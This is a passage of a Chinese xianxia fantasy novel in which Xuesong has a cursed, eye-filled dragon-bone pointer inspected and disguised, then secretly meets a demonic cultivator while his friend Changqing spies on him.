黑衣服的人率先走了进来,往室内打量了一下,发现还站着的人不多,把手臂上的一个圆环撸下来,拿在手里,那圆环立刻变成了一把喷枪。
他们对着地上的眼珠子扣动扳机,一从红艳艳的火就从枪口喷了出来,把那些眼珠子烧得噼里啪啦乱跳。
那些眼珠子一边在地上滚来滚去,一边掉眼泪,地上那种黏黏糊糊的半透明的液体更多了,不过很快又被火烧焦了,散发出一股诡异的,腥臭的气味。
之后,那些眼珠子在地上一边发出呜呜的哭声,一边就像是被高温炙烤的冰淇淋一样慢吞吞融化了,变成一大堆的黏糊液体。
黑色和白色混在一起,像是戳破了的黑芝麻汤圆,在锅里被长时间高温熬煮,变成了一堆胶质感极浓的黏糊糊的东西。
有些人甚至隐约能闻到一点微妙的甜味,好像里面黑色物体真是加了许许多多糖的黑芝麻糊一样。
他们不由得变了脸色,用手捂住口鼻,往后退了又退,免得不小心沾上一点洗不掉,之后做噩梦都得是这个味道。
在大致清理了那些活蹦乱跳的眼珠子之后,检查科的人转过头来,看向了站在门口等待着的白兔子,白兔子还用手拿着盒子,看起来呆呆的。
检查科的人把白兔子围着,捏了捏手里黑色的枪,枪支就像是融化的太妃糖一样,重新变回了圆环。
其中一个把圆环向上一抛,在伸手一接,那东西落下来的时候,就变成一块蓝色的石头了。
他拿着那块蓝色的石头,对准了白兔子,白兔子的神色有些紧张,眨了眨眼睛咬住了嘴唇,甚至站直了一点,像是一不小心就要被抓去做红烧兔头一样。
那块蓝色的石头发出蓝光,把兔子照了一下,从头到尾都照了一遍,石头又变回了圆环。
那个检查科的人就把圆环重新带回了手臂上,对其他人挥了挥手,大概意思应该是,检查过了,现在是安全的,可以直接带走。
其他检查科的人就走上前去,从兔子手里接过了盒子,兔子松了一口气,往旁边挪了挪,仿佛试图找个板凳坐下休息一下。
雪松看他们好像要走,往前两步,想要搭话,穿白衣服的医疗科的人走了进来,后台顿时十分拥挤,雪松顿住了脚步。
医疗科的人一边从口袋里拿出巴掌大的蓝色液体瓶子,把瓶子晃了晃,拧开金黄色的盖子,把瓶子里的液体四处泼洒,一边小心蹲下去查看躺在地上的人的情况,皱着眉头,嗅了嗅空气中的气味,露出一种厌恶而烦躁的,想要用手捂鼻子,但是又没有多余的手的神色,还非常注意处理自己的衣服,免得不小心弄脏了,行动又迅速又认真。
那种蓝色的液体被泼洒出来之后,颜色逐渐变淡,很快变成了无色的液体,最后像是蒸发一样,一点一点在众人眼前消失了。
雪松闻到空气里起了一股浓郁的酒味,不知道是不是闻错了,捂了一下鼻子,看医疗科的人正在忙事,似乎不会突然到门口来,就转过头去,重新看向了检查科的人,他们已经准备走了。
雪松拉了一把兔子,向他问:“你之前说,我可以跟着一起去的?现在还算数吗?我想跟他们一起去,你替我向他们说说?”
兔子皱起眉头,感到无可奈何,有一种即将游上岸但最后一秒被人拉下水的感觉,他是很想置身事外的,但这件事现在好像和他脱不开关系,他很想把事情丢给别人,差一点就成了,又被雪松拉回来了,很想叹气:“你怎么不自己说?”
“你跟他们是一起的,你说的话或许他们会比较听,”雪松耸了耸肩,“他们又不认识我,他们怎么知道我是谁?你得跟他们介绍!”
兔子一边摇头,一边吐槽:“这种事情你自己都行吧!”但他还是往前走了,走到检查科的人面前,用一种好像已经变成麻辣兔头的生无可恋的语气说:“你们刚才带走的东西是这个客人刚刚拍下来的,理论上,这东西还属于他,是他的财产,他想要跟你们一起到检查科去,看看这东西究竟怎么回事,你们能带上他吗?”
检查科的人回头看了看,一个人对雪松挥了挥手说:“那就走吧,不要跟丢了。”
雪松点了点头,跟上了他们。
兔子在后面,对雪松挥了挥手,用一种兴高采烈的语气,好像刚刚逃过一劫,不用被人剥了皮,插上树枝,架在网上,当烤兔子一样:“我就不去了!你自己去吧!要回来让他们送你!别迷路了!”
这话说得,好像这里是个迷宫一样。
雪松看了他一眼,点了点头,跟着检查科的一群人,到了检查科,一个漆黑色门框装饰的房间,墙上是黑白色的门牌,写着检查科。
检查科的人推开门走了进去,里面出乎意料,非常宽敞,只从外面看,还以为里面只有一个大办公室那么大。
但实际上,那里面比大办公室大多了。
这里面有一股挺刺鼻的奇怪的味道,雪松一进去就打了个喷嚏,检查科的人各自散开,似乎都有事情要做,其中一个人留了下来看了他一眼,指了指旁边的椅子对他说:“你可以坐在那休息。”
雪松看了一眼椅子,立刻摇头:“我想看看你们是怎么检查这个东西的,就是我买的那个,你们现在装在盒子里的,可以吗?”
对面那个检查科的人看了他一眼,像是在评估他能不能看,他眨了眨眼睛,望着检察科的那个人,等待着结果,有一种自己是正在等待医生提供体检报告的病人似的感觉。
“那你跟我来。”检查科的人点了点头,往前走去。
雪松立刻跟了上去,在经过一段走廊之后,检查科的人推开了一扇门,里面是一个穿着白衣服的人。
他脸上戴着眼镜,手上拿着放大镜,放大镜是黑底金边的,看起来有种低调奢华的昂贵,五官模模糊糊的,像是用什么法术遮掩过了,所以不担心暴露身份。
他面前是一张桌子,桌子上有一个圆台,圆台上放着一块崎岖嶙峋的怪石,石头是灰绿色,有一些大小不一的孔洞,孔洞里微微长着绿藻。
虽然房间里没有风,但那些绿藻像是被风吹动一样蠕动着,偶尔还能感觉到,漆黑的孔洞里面有一闪而过的眼睛,如果不去注意那块石头,就会有一种被窥视的感觉。
看来这块石头也是检查科检查的物品之一。
也不知道检查完了没有。
黑衣服的人把手里的盒子递了过去,解释说:“这是客人新买的东西,包装好准备离开的时候出了一点事,希望能够检查一下。”
白衣服的人一边把盒子接过去,一边看了一眼雪松,顺手用了一下手里的放大镜,似乎露出了一点疑惑的表情:“没关系吗?确定要看?等会儿可是很容易出事的!能坚持住吗?不过——”
他的脸上露出若有所思的,饶有兴趣的神色:“你的抗性看起来很高,也许真的可以留在这。”
雪松点了点头,白衣服的人又问:“你真要留在这?你想好了是吗?我可不能一边检查东西,一边注意你,你要是在我检查东西的时候出了事,那是要自己负责的,你准备好了?”
雪松再次点了点头,隐约有点兴奋,虽然可能有危险,但他可以确定这危险并不大,更何况旁边有人看着,不是指这个穿白衣服的,是旁边那个黑的。
就算这个黑的要出去,房间里真出了事,他也可以开门出去求救,外面有一群人呢,之前都没什么事,现在大概也不会有什么事,他没什么可担心的。
“我准备好了!”雪松眨了眨眼睛说。
白衣服的人点了点头,看向了旁边穿黑衣服的那个,那个人左右看了看,往旁边退了出去,一直退到离开了房间,还顺手把门关了。
门咔嚓一声响,雪松听着那个声音,感觉这门好像是锁了,还是从外面锁的,但一般锁门不是从里面锁吗?
他看向了旁边的白衣服,白衣服用那张模模糊糊的脸对他微笑,声音听起来甚至有点爽朗,不像是应该出现在这个房间里准备检查的人的声音,倒好像是应该出现在酷暑阳光下运动场的声音:“为了以防万一,通常是要锁门的,你放心,这里面有留影石——”
雪松被他的声音晃了一下,听他这么一说,还以为他的意思是,出了事情,有留影石在,也可以回溯一下情况,知道怎么抢救。
之后就看见,他抬起手指了指墙角,那里镶嵌着一块小小的石头,被指的时候微微放了放光,像是在回应:“如果你死在这儿,好歹后来的人会知道你是怎么死的,也比较方便把你拼回去。”
雪松有一点无话可说,还觉得有一点好笑。看来还是他太乐观了?也不知道是高估了这里的安全系数,还是低估了这里的危险情况。
不过,之前盒子里突然冒眼珠子,他都没事,这里正儿八经检查,还有一个人在前面挡着,他应该也不会有事吧?倒也不必太担心。
他心里紧张不起来,看着也就十分放松,对白衣服点了点头:“我知道了。”
白衣服的人见他这样放松,挑了挑眉,露出一副有点想要检查他的样子,一边把盒子放在桌上,试图拆开,就好像在拆一个生日惊喜盲盒,一边扭头看着他,像一只城堡里的古典大喇叭留声机,几乎有点聚精会神,眼神里隐隐晃着痴迷,声音带点感慨说:“你看起来真特别,之前没什么人愿意待在这儿的,除非跟我一样是要检查的,像你这种,头一次来还这么放松的,要么什么都不知道,要么纯胆大,可是他们,看起来都没你有意思,知道吗?”
“哪里有意思了?”雪松的目光,落在他正在拆的那个盒子上,听他这么一说,也看了看自己,没看出来有什么不对,摇了摇头问。
“你好像知道一点什么,”白衣服的人好奇问,“你知道什么?”
雪松听不懂他的话,只是说:“我不明白。”
白衣服叹了一口气,语气里透露出一点可惜,像是看见有人拿着宝箱密码却不去打开一样:“那你真的只是为了你的东西来的?这可不划算,危险性太高了,其实在外面等也是一样的,你现在还有后悔的机会。”
“不用了,”雪松摆了摆手,“我想看。”
白衣服点了点头:“那好。”
他不再说什么了,把注意力集中到盒子上,完全拆开了,露出里面的东西,那个龙骨指针看起来和之前没什么太大的区别,甚至好像因为转移到这里,花了一些时间,身上的粘液都被风干了,有种比之前还新的感觉。
雪松见此情形,忍不住想,不花钱白洗了一回,只要还能拿到东西,也算赚了。
白衣服戴着手套把那个指针拿了出来,在灯光底下看了看,把指针放在了台子上,用十分明亮的光照射着,透过脸上的眼镜去看。
那指针不知道受了什么刺激,猛然间颤抖起来,浑身上下溢出透明的粘液,里面的眼睛也睁开了,露出恶狠狠的神情,隔着指针中间那一层透明水晶外壳,死死瞪着正在检查的白衣服,好像恨不得跳出来打一棍子,还顺便转了转眼珠,看了一眼站在旁边,有点好奇睁着眼睛的雪松,好像他是看着眼珠子的房子起火而什么都不做的人。
雪松眨了眨眼睛,觉得这颗眼珠子挺有活力的,不知道之后用起来会怎么样,如果会一直被封在壳子里,玩起来倒是挺有意思,如果一不小心会跳出来,那倒要担心担心。
毕竟就算一大堆的眼珠子,像之前那样从盒子里涌出来,没有什么杀伤力,却也有一大股的粘液和味道,不能完全无视掉。
指针开始在原地晃动起来,像是有一个人非常用力,想要拔掉自己的牙一样,透明的粘液渐渐变成血红色,而且溢出一股浓郁的腥味。
眼看着血红色粘液里有一些小小的虫卵一样的东西正在晃动,还在逐渐变大,好像一粒一粒黏在一起的糯米团,空气中多了一股浓郁的腐败的气味,闻起来令人作呕。
白衣服从旁边的柜子里拿出了一瓶白色的液体,打开盖子往血红色粘液上面泼了过去,一阵滋滋啦啦的响声和浓郁的蒸汽之后,血腥味散了许多,取而代之的是一种酒精的气味。
粘液里面的那些小颗粒也不见了,颤抖的指针逐渐停了下来,好像大伤元气一样,一动不动瘫在那里,指针里面的眼珠露出疲惫而愤恨的神色,把两个人都瞪了一眼,又闭上了。
“你往里面倒的是什么?”雪松好奇问。
“高浓度的酒、人类血液,还有浓郁的液体灵气。”白衣服一边把空瓶子盖好,往旁边的桌子上放了过去,一边盯着眼前,仍然被明光笼罩的指针回答。
雪松若有所思,点了点头。
白衣服的人又转着他的圆眼镜,低头去看那个指针,眼珠子在里面像抽风一样乱动,但仍然不睁开,像发了狂的梦游的人。
白衣服的人掏出一瓶新的药,那瓶药是纯白色的,看起来白得晃眼,好像里面有荧光剂一样,一下子泼在了指针上。
里面的眼珠抽搐两下,像一只被针扎了的气球一样,缓缓瘪了下去,变得薄薄的,好像只剩一层皮了,绵软无力瘫在那里,有点像一层被铺在指针里面的面皮,还隐约有点透光。
白衣服的人关了那只极其明亮的灯,只留下正常的温和的灯,戴着手套,把台子上的指针取了下来,拿到旁边冲洗。
一阵哗啦啦的水声之后,那个指针显然是被洗干净了,看起来比之前都白了一个度,不过,幸好还是黄色的,说明这个龙骨就这个色,再怎么洗都是这么一回事,不是弄脏了才这个样子,除非用漂白剂,那就另外换一个颜色,但是也没什么必要。
雪松有点想伸手去把东西接过来,但看白衣服好像还有事情要做,就把手又收了回去,眼巴巴望着。
白衣服把那只指针,放到了另外一块石板上,石板上亮起一个火红色的法阵,法阵闪了一下,那只指针上的水就都干了。
白衣服换了一双手套,把指针拿起来,放在手里对着光看了看,对雪松招手说:“这种状态应该能用了,但是——”
话还没有说完,里面的眼睛忽然咕叽咕叽响了起来,往外溢出透明的粘液,白衣服从旁边找了一根棉签,把里面的粘液都擦干净了,把棉签放在旁边的一个小小的架子上。
他皱着眉头接着说:“但是这个东西还会不定时往外溢出粘液,就是刚才那样,不影响使用,只是,清理起来有点麻烦。”
他顿了顿,像是在考虑接下来的话要不要说,雪松眨了眨眼睛望着他,他想了想还是说了:“这粘液其实不太对劲,我会研究一下,但是一时半会儿是得不到结果的,因为有些东西就得等,时间不够,出来的东西不行,如果你想知道结果,到时候我通知你?”
雪松点了点头:“好,那你搞明白粘液的情况,再联系我就是。”
白衣服点了点头,把指针装进了一个崭新的小盒子里,还用白粉色的丝带打了个蝴蝶结,提起来交给他:“你可以把东西带走了。”
“谢谢,”雪松看着手里的盒子,感觉今天真是难得,有点累,“那如果我想联系你怎么办呢?每次都到这儿来吗?有点麻烦吧?”
“如果你只是想联系我这个人,”白衣服想了想,掏出一颗紫色的葡萄珠递给他,“用这个就好,不过,我每天有空的时间不一样,休息的时间也不一样,你不一定能联系上我。”
“那也没关系,”雪松收起了那颗紫色的葡萄珠,“能联系就行。”
白衣服点了点头:“那好,要我派人送你出去吗?”
“你不能出去吗?”雪松往周围看了看,忽然有点好奇。
“我可以出去,但是现在出去不行,我还打算研究粘液呢,”白衣服摇了摇头,“而且,这里不能没有人在,很多东西都不能随便碰,要是我出去了,这里空着出了什么事,我要负责的,所以大多数时候还是不出去。”
雪松点了点头:“那你找个人送我出去。”
白衣服抬起手来,在白色的墙上按了一下,一只白色的玩偶在那里唧唧的响了一声,那玩偶又圆又软,雪松定睛一看,发现那是一只被切了片的没有头和脚的杏鲍菇,脸上露出惊讶的神色。
外面走进来一个穿黑衣服的检查科的人,往房间里环顾了一圈问:“事情已经办完了吗?”
白衣服的人点了点头,指了指雪松,对黑衣服的人说:“你可以把他带走了。”
黑衣服的人看向雪松:“请跟我来。”
雪松跟着他走了出去,一路到了拍卖会的门口,不过不是来的那个门口,这似乎是拍卖会的另外一个门口,外面是一条安静的小巷子,一个人都没有,满地都是阴影。
黑衣服把雪松送到这里说:“会有千纸鹤来接你的,我先走了。”
雪松下意识看了看自己手里的盒子,东西还在,千纸鹤飞了过来。
第82章
“很高兴你出来了, ”千纸鹤绕着雪松转了一圈,用自己的翅膀拍了拍,发出一种纸张相互摩擦的声音, 笑眯眯对他说, “刚刚听说里面出了事,我还以为你一时半会儿出不来了, 都打算到外面去逛逛了, 不过没想到你还是出来了,时间挺早的!”
千纸鹤一边说, 一边抬头看了看天色,天上不知什么时候, 乌压压的, 泛起一层灰蒙蒙的雾气, 有种风雨欲来的感觉。
一阵风迎面吹了过来, 刮过墙面,吹到雪松的脸上, 雪松眯了眯眼睛, 感觉这阵风挺大的,头发都被吹乱了。
他捋了捋头发,往外走了出去,千纸鹤在前面引路,一边飞一边挺热情似的好奇问:“里面发生什么事儿了?你跟我说说怎么样?我没有进去都不知道呢!我光在外面听说有事儿了!你别说,以前里面出事都是小事, 外面听听也就算了,这次好像稍微大了点!好多人都在外面嚷嚷,说非要进去!只是在门口被拦住了而已!”
千纸鹤说着,用翅膀挡住脸, 嘻嘻笑了起来:“好热闹哦!可惜你没有看见!不过也没办法!你都在里面了,怎么能出来呢?”
千纸鹤一边绕着雪松飞一边向他问:“你怎么不说话?你不高兴?不会是你被欺负了吧?其实这种事情,可以找人帮忙的啦!”
“找谁帮忙?”雪松看了他一眼。
千纸鹤眨巴眨巴豆豆大的黑眼睛,像是突然被闪电击中一样,在半空中僵直了一下说:“拍卖会那里面其实是有维持治安的治安科的,你去找他们就好了!”
千纸鹤飞到雪松旁边,用翅膀挡住脸,神神秘秘低声道:“其实你不知道吧?有人偷偷管里面的治安科,叫执法的呢!”
“他们哪儿来的法?”雪松挑了挑眉:“宗门有法,我倒可以理解,毕竟修仙者和凡人不同,不能受凡人的法,但一个葡萄园里的拍卖会也有法,是不是有点挑衅了?宗门居然不管?真不知道?还是上供了?”
千纸鹤愣了一下,呵呵笑了,背过身往前飞去:“只是这么一说罢了,每一个稍微大点的地方,总有自己的规矩,外面是外面的,里面是里面的,就好像外面的朝廷虽然管着大事,但也管不着每家商户在自己家的院子里干什么,更管不了大商人在铺子里是怎么经商的,怎么管跑腿的小二,怎么管端茶送水的丫鬟,就这样儿!”
他还是没说究竟是不知道还是上供,也许都有。有些人是不知道,所以不管,有一些人是收了上供,所以知道了也不管。
算了,横竖和雪松关系不大,千纸鹤不愿意说,雪松也没有要继续问下去的意思,只是把手揣到兜里,摸了摸拍卖会送的盒子,盒子里就是已经被检查过的龙骨指针。
从盒子上摸起来,似乎没有溢出粘液,现在还是干净的,他微妙松了一口气,他可不想一直打扫,就算只是清洁自己和自己的衣服,一天清洁个十七八次,那也太累了。
改天有空过来问问,这个龙骨指针里面溢出来的粘液,究竟是怎么回事。今天就算了,今天的事情太多了,他回去非要好好休息不可。
本来也没有那么累,只不过是,在后台收东西的时候,那些眼珠的声音,多半还是对他造成了一点影响,把一点累变成很累了。
千纸鹤把他引到一扇门前,他打开了门,里面是一个封闭如同小棺材的房间,没有窗户,全是砖墙。
密密麻麻的红砖灰泥砌在一起,感觉只要身后的门锁了,普通人在这儿站一会儿,就得窒息而死。
一阵红光亮起,雪松出现在了葡萄园的地底下,他已经认得路了,千纸鹤仍然飞在前面,指着不远处的那扇门说:“从这里出去,你就可以回到葡萄园的地上。”
雪松一边往前走,一边点了点头,千纸鹤顿了顿又说:“你记得出去之后,千万不要把这里的事情告诉别人,容易出事。本来今天就出了事,要是让外面的人知道,那还要出一件更大的事,可不是好办的!”
雪松看了千纸鹤一眼,听出千纸鹤语气里的凝重和认真,点了点头,心里却想,既然不能告诉别人,那拍卖会多半也是见不得光的。
看来之后进了秘境,用指针的时候,得小心一点,最好不要被别人看见,回洞府之后,就给指针上一层伪装好了,先用物理伪装,再用法术伪装,双重保障下,应该没那么容易出事。
雪松打开门,千纸鹤停在了门口,悬在半空说:“出去的路你都知道吧?外面我就不送了?下次你要是还到这来,我会见你的!”
“再见。”雪松点了点头,走了出去,把门关上,千纸鹤没有出来。
雪松从葡萄园走了出去,在门口没多远的地方,遇到路过的回春,回春向他打了个招呼,神色有些惊喜:“没想到啊!能在这遇到你!你到这来干什么?”
雪松回答:“听说这里的葡萄不错,我随便过来逛逛。”
回春往他身后望了望,将信将疑,点了点头:“这里的葡萄吗?是蛮不错的!不过——”
回春往前走了两步,凑近了他,一边看了看他身后的葡萄园,一边仿佛怕谁听见似的,低声道:“你知道吗?前阵子有人在葡萄园里出了事!”
“你怎么知道?”雪松好奇问。
“因为出了事的人,”回春更加低声道,“送到回春堂去了,我在回春堂的时候,看见了的,还近距离,接触过——”
他顿了顿,脸色变得有点难看,像是回忆起很不妙的场景:“他们身上散发着一股葡萄发酵的味道,会在夜晚从嘴里吐出有些腐烂的半消化的葡萄,原本好好的盖着的被子底下会突然爬出葡萄上面才会长的虫子,手背和手掌会突然闪现出葡萄叶一样的颜色和纹路,偶尔还有人在打扫他们的床铺的时候,发现枕头上有遗落的,葡萄藤上开的花……”
他说着说着,忽然有些不受控制干呕起来,连忙捂住了嘴,不得不停下来,不再说什么了,眼眶倒是被憋红了,也不知道是强行忍住呕吐红的,还是无法说下之后的话而感到憋屈,恼怒红的。
雪松想了想这个时候应该做什么,伸出手轻轻拍了拍他的后背,他缓了一阵好多了,除了眼睛还是红红的,腰直起来了,头也抬起来了,背也不弯了。
但脸色还是很难看,他往左右看了看,没看见什么人,松了一口气,对雪松说:“总之你自己小心,我还有事,要去回春堂,我就先走了?如果你之后要找我,可以直接去回春堂,大多数时候我都在那。”
雪松点了点头:“我知道了。”
“再见。”回春用一种飞快的速度走掉了,整个人的背影里都透露出迫不及待,好像害怕葡萄园里的葡萄会爬出来钻进他的喉咙一样。
雪松看着他远去,不由得回头望了望近在咫尺的葡萄园,葡萄园和来的时候一样,仍然伫立在那里,安安静静,一动不动,没有什么人,随着天色的变化而逐渐暗淡,像一幅即将褪色的画卷。
雪松忽然有一种自己好像忘了什么事情的感觉,但是仔细一想又觉得好像没有什么,回到了洞府,想起来,因为刚才的事情,他差点就忘了要给龙骨指针上伪装。
他关上门之后,把盒子掏出来,拿出了指针,一时想不出来要怎么伪装才好,系统说:“想不出来就先抽个奖!”
于是雪松开始抽奖,指针停了下来,指向了一个红色的盒子,红盒子从半空中掉下来,落在桌子上,他把丝带拆开,盒子里面是一个毛茸茸的红色驯鹿,中间是空的。
他重新看了看系统给出的这东西的名字,这是一个红色驯鹿毛绒伪装外套,只要把外套套在东西上面,那个东西看起来就会像一个红色的毛绒驯鹿玩偶,不过,如果有人把外套扒下来,失去外套的那个东西就会在其他人的眼里变回原样。
看起来很不错,而且正好可以用,雪松把这个东西,套在了龙骨指针上面,只听砰的一声响,好像爆米花爆开一样,龙骨指针现在看起来确实像个红色毛绒驯鹿玩偶了,不过大小还是一样,外面捏起来毛茸茸的,里面还是硬的,眼珠子并没有被遮挡,仍然可以用。
雪松对着龙骨指针施加了伪装法术,之后就打坐休息去了。
新的一天,雪松打开门往外看了看,外面没有人,他向临街巷走了过去。
一路都很顺利,直到他看见临街巷巷口的时候,忽然有人靠近他,他猛然一惊,浑身紧绷,转头看了过去,发现是长青。
雪松看着长青,一时不知道应该松一口气好,还是紧张起来好,虽然来的人不是想要偷袭他的魔修,很值得高兴,可是,长青如果知道,他马上要去见的人可能是魔修,恐怕会对他的事情造成影响。
魔修应该不想看见除了雪松之外的其他人出现在临街巷,尤其是,被雪松带着过来,就好像一起走了一路一样。
虽然不知道那些魔修把雪松找过来,究竟要说什么事,也不知道他们是怎么找到雪松的洞府门口的,但是,不管是魔修潜入宗门,还是雪松偷偷见魔修,一旦被其他人知道,都不是什么好事。
雪松只是稍微想了想,就决定把长青推走,因此好像他们真的只是普通的意外偶遇一样问:“你怎么在这儿?”
长青一边把手收回去,一边眨了眨眼睛笑道:“我还想吓你一跳呢,没想到你发现了,你在宗门里还这么警觉?”
“也不是警觉,只是觉得后面好像有人,所以看看,”雪松笑了笑,“毕竟常常有鬼故事说,鬼是从人身后来的。”
长青笑道:“没想到你还相信鬼故事?不对!没想到你还听过鬼故事?我还以为像你这样的人对鬼故事会没有兴趣呢。”
实际上,他是以为雪松那样像仙尊的人,对鬼故事是不屑一顾的,毕竟,参考一下仙尊就知道了,当初仙尊东南西北都走过,什么事情没有见过?难道还会怕鬼不成?
雪松虽然不至于和仙尊一比一等同,但不管从外貌还是心性上,都十分相似,几乎可以说一样,那理论上来说,雪松应该也一点都不怕鬼,毕竟雪松也是经过许多任务的人。
他是真没想到。
等等,难道说,雪松之所以听过鬼故事,是因为,仙尊曾经和他在一起的时候,听说普通的情侣常常会给对象讲鬼故事来吓唬对方,以达到让对方被自己抱在怀里的目的,或者方便给对方一点撒娇的机会什么的,就时不时在合适的夜晚给雪松讲鬼故事?
以至于雪松知道,甚至还隐约有点害怕?是之前被仙尊练出来了,对这些东西有微妙的恐惧,还是下意识,因为从前想要靠近仙尊,特意演出来的?
毕竟在一般人的心里,像仙尊那样的人,肯定是不害怕鬼故事的,连仙尊都会特意在夜晚转述的鬼故事,一定是别人精挑细选,觉得可以吓到仙尊,或者可以让仙尊觉得这东西勉强有一点好像有鬼的值得人害怕的氛围的故事。
如此一来,讲故事的人精挑细选,把故事讲给仙尊,仙尊无动于衷,讲故事的人感到挫败,再次回去精挑细选,找出更加恐怖的鬼故事告诉仙尊,循环往复。
仙尊虽然没有被吓到,但是想要讲鬼故事的时候,会自然而然想起那些别人想要吓唬他的鬼故事,把这样的故事转述给雪松。
雪松如果真像他们以为的,从前,或者说上辈子,以及上上辈子和仙尊在一起的时候,都被仙尊保护得特别好,没有什么接触鬼怪的机会。
那大约也没有什么接触普通的或者劣质的鬼故事的机会,一上来就接触到那么好那么恐怖的,令人印象深刻的鬼故事,一旦想起来一点,都可能在夜里辗转反侧。
从前因为鬼故事在夜里辗转反侧的时间久了,现在雪松在大白天的,哪怕只是心里想起鬼故事,也忍不住稍稍反应过度?
其实刚才的反应并不算太过度,因为雪松既没露出惊讶的表情,也没有原地跳开,好像一只差点被剥皮的青蛙一样。
长青不是没有见过受到惊吓和惊吓过度的人,雪松的反应比他们平静多了,如果要和他们一起算,雪松一定是最平静的那个。
但这不代表雪松刚才的反应,在长青这里可以算作是,没有什么大不了的,因为雪松毕竟是修仙者,而且修为不算低了,修仙的时间不算短,执行任务也不是一次两次,见过的东西也不是一个两个,怎么会因为有人突然在背后出现,还有那种肌肉紧绷的反应呢?
要是雪松在外面也这样,早就会因为频繁反应而身心俱疲了,恐怕完不成什么任务,至少不能正常完成。
但长青从之前的情况来看,雪松的反应都算正常,那么事情是在,上一次任务之后,今天之前,他没有见到人,而且不知道的时候,发生的?
是什么事呢?雪松想要隐瞒?怕被别人知道,所以在察觉有人出现在背后的时候,反应会比从前灵敏,而且警惕?
不会是魔修吧?
长青挑了挑眉,并不直接问,因为他知道直接问是不会有答案的,不然雪松完全可以现在告诉他,他只是笑着回答了雪松之前的问题:“我随便过来转转,你呢?”
“我听说这里挺安静的,”雪松眨了眨眼睛回答,“想看看是不是真的没什么人。”
“那现在看见了?你要回去了吗?”长青含笑问。要是就这么回去了,兴许没有什么,要是回去了,又趁着没有人偷偷回来,那多半是有什么,只是不好让别人知道,否则没必要,专门一个人再回来。
又或者,干脆拒绝,把人支开,那就一定有事了,只是不知道具体是什么。可是能有什么事,这样不好让人知道?更像是魔修了。
“那倒不至于,”雪松摸了摸口袋,假装自己忘了什么东西,对长青道,“我刚才想起来——”
他想了想,有什么理由能说动长青,立刻离开这儿,替他拿东西呢?长青最相信他和仙尊有关系,那就拿仙尊当借口好了。
“仙尊曾经对我说,”雪松努力控制着自己脸上的表情,免得露出什么破绽,但仍然在提起这种话的时候,感到一种难以言喻的,奇怪的心虚,面颊微微发红,“他很想和我一起到这儿来,但他现在来不了,你替我回去拿三炷香,我在这儿点燃烧了,只当做他也来过,你觉得怎么样?
只是,香烛那些东西,平时是不用的,我一下子也不记得放在哪儿了,只记得是在洞府里的,你回去替我看一看怎么样?”
长青挑了挑眉,居然是想要把人支开吗?绝对有事情!说不定就是有魔修在这里!那雪松是被威胁的,还是自愿和他们同流合污呢?又或者干脆被控制了?
既然雪松不想让人知道,那他就假装相信,离开一下好了,看看究竟会发生什么事吧!也许会知道什么了不得的事呢!
“好啊,”长青眯眯眼微笑,“大概是放在哪里呢?我现在就替你去找好不好?找到了立刻就回来,你在这里等我,怎么样?”
“大概?也许是箱子里?也许是橱窗里?”雪松眨了眨眼睛,脸上的红色迅速消退下来,“你多找找,会找到的,我隐约记得前阵子什么时候才用过,应该还有,顺便再带个香炉来吧,免得香灰落在地上,叫人踩了,不好。我就在这等你,怎么样?”
“好啊,”长青注视着他,提起仙尊就脸红,不提仙尊就正常,看来仙尊分量还是很重嘛,微笑着点了点头,“我现在就去。”
长青说完,转头离开,没过一会儿就不见了,看起来,好像走远了,雪松松了一口气,还没等他完全放松下来,忽然感觉后面又来人了。
他转过头去一看,这一次是货真价实的魔修,忍不住埋怨道:“你们待在这儿都不知道提前清理一下不相干的人吗?好歹布置一下法阵呢?总有法阵能让不被允许的人不自知离开吧?
哪怕是竖个牌子,让他们知道这里暂时不能随便进出呢?时不时看见一个人突然出现在背后真的很恐怖!”
长青并没走远,半路就回去了,而且隐藏了身形,躲在不远处观察,虽然看不出来雪松对面的那个人是不是魔修,但是隐约能听见雪松正在埋怨什么,凝神细听的时候,雪松已经说到最后一句话了,因此,长青只听清了最后一句。
时不时看见一个人突然出现在身后,真的很恐怖?长青若有所思。以雪松的经历和胆量,不应该觉得这种小事恐怖啊!
果然是曾经被仙尊讲鬼故事吓到过吧?以至于现在还有阴影?仙尊,对于雪松而言,真是无可忘怀的,印象深刻啊!
那对面究竟是不是魔修呢?难道真是误会?可是看他们两个的样子又不太像呢?说起来这附近确实没什么人的样子?平时也这样?
长青想了一想,平时这里虽然人少,也不至于少得好半天只有一两个,更何况现在岂止是半天一两个?简直是半天一个人也没有!
果然还是有问题!再看看吧……希望是误会。
雪松对面这个魔修把自己浑身上下的魔气都隐瞒得十分好,一点都没泄露出来,要不是雪松就站在他面前,而且很肯定之前给自己传递消息的人,不是魔修就是被魔修控制,又或者干脆就是和魔修有关系的人,乍一看也是不会认出来的。
“不好意思,不好意思,”雪松对面那个人微笑着摆了摆手,气息十分平和,态度也很好,好像一个完全没有脾气的可以随意被捏扁搓圆的面团一样,“我没料到这个时候会有人来,其实我提前做了准备的——”
他说着,往雪松旁边指了一指,雪松将信将疑,顺着他的手指往旁边一看,那个方向还真有一个微小的法阵正在运转。
洁白莹润的光微微闪了一闪,雪松眯了眯眼睛,那似乎是一个能使人不自知而下意识远离这个位置的法阵。
既然有这个法阵在,长青又是怎么来的?莫名其妙走错了路吗?就算是迷了路,有这个法阵在,也不应该迷路到这里面来。
难道是故意来的?那现在一定在附近了?说不定刚才,完全看出了破绽,只是没有说,因为第一时间戳破了,没有什么好处,容易鱼死网破,或者被前后夹击,但一时不说出来,假装离开就不一样了。
在暗中偷窥,比明面上直接询问情况要更容易得到真相,而且也没有那么容易被当成集火的靶子,稍微安全一些。
虽然偷窥这种事被发现之后可能会影响关系,但如果,长青真的猜测雪松和魔修有关,而且验证了,还拿到了证据,那影响关系也是无所谓的。
因为这种事真被捅破出去,他们的关系一定不会一如往常,坏掉很正常,就算他们想要像以前一样维持关系,也得看别人允不允许,会不会对他们造成影响。
以及,在宗门内暗中和魔修有关系这种事,一旦被许多人知道了,那就是板上钉钉的无可挽回,长青率先和雪松断绝关系,说不定别人知道了还要拍着巴掌夸一句好呢。
雪松缓缓皱起眉头,看向了对面,如果对面早就布置了法阵,而且不知在这看了多久,专门等到他把人支开才出现,那大概也能猜到,被支开的人未必是真的走开了吧?
刚才没有第一时间显露出魔气表明身份,也是这个原因?或者这至少是原因之一?另一部分原因是小心谨慎和有事要做?
对面微微一笑,像是知道了他在想什么,仍然十分镇定,对他伸出手说:“请跟我来,这里不是谈话的地方。”
